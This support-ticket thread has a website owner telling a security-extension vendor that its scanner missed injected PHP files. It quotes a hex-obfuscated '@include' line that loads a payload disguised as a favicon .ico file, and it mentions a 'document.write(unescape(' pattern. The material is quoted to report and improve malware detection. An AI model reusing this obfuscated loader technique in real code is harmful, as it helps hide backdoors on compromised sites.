Support

Hi, I've scanned one of my client's website with Admin Tools file change scanner. Only one file was marked with threat score 100 (This file was 103571.php and it is attached in ZIP file among others). I've check server log files and found out that there are more files like this one (also attached). I've found out that the scanner marked these files with threat score "0" or "1" and they contain this kind of lines: "@include "\x2fv\x61r\x2fc\x68r\x6fo\x74/\x68o\x6de\x2fc\x6fn\x74e\x6et\x2f2\x37/\x396\x346\x392\x37/\x68t\x6dl\x2f0\x31w\x6fm\x65n\x6ff\x65x\x63e\x6cl\x65n\x63e\x2fl\x69b\x72a\x72i\x65s\x2ff\x6ff\x2fl\x65s\x73/\x66a\x76i\x63o\x6e_\x35c\x33b\x383\x2ei\x63o";" while this: "document.write(unescape(" gets threat score "10" and file is marked as suspicious. Please, see the attachement also for files that went "unnoticed". I've found them manually and do not know how many more are there and if there are on my other websites. I would like to trust that the scanner will warn me about such files wich it failed to do so. Is there any way to set up more rigorous scanning and threat scoring? Please, help. Thank you.

Victor

Thank you for your prompt response. I've sent you requested files via email. Your mailbox rejected HEX.php files, so I protected them with password - included in the email.

Hi, I've sent you some PHP files with examples of obfuscated code that Admin Tools didn't detect as threats.
You wrote me that you will be releasing new version (with new detecting rules) very soon. That was a month ago.
Any changes on that? Please, let me know. Thank you very much.

This ticket has been automatically closed. All tickets which have been inactive for a long time are automatically closed. If you believe that this ticket was closed in error, please contact us.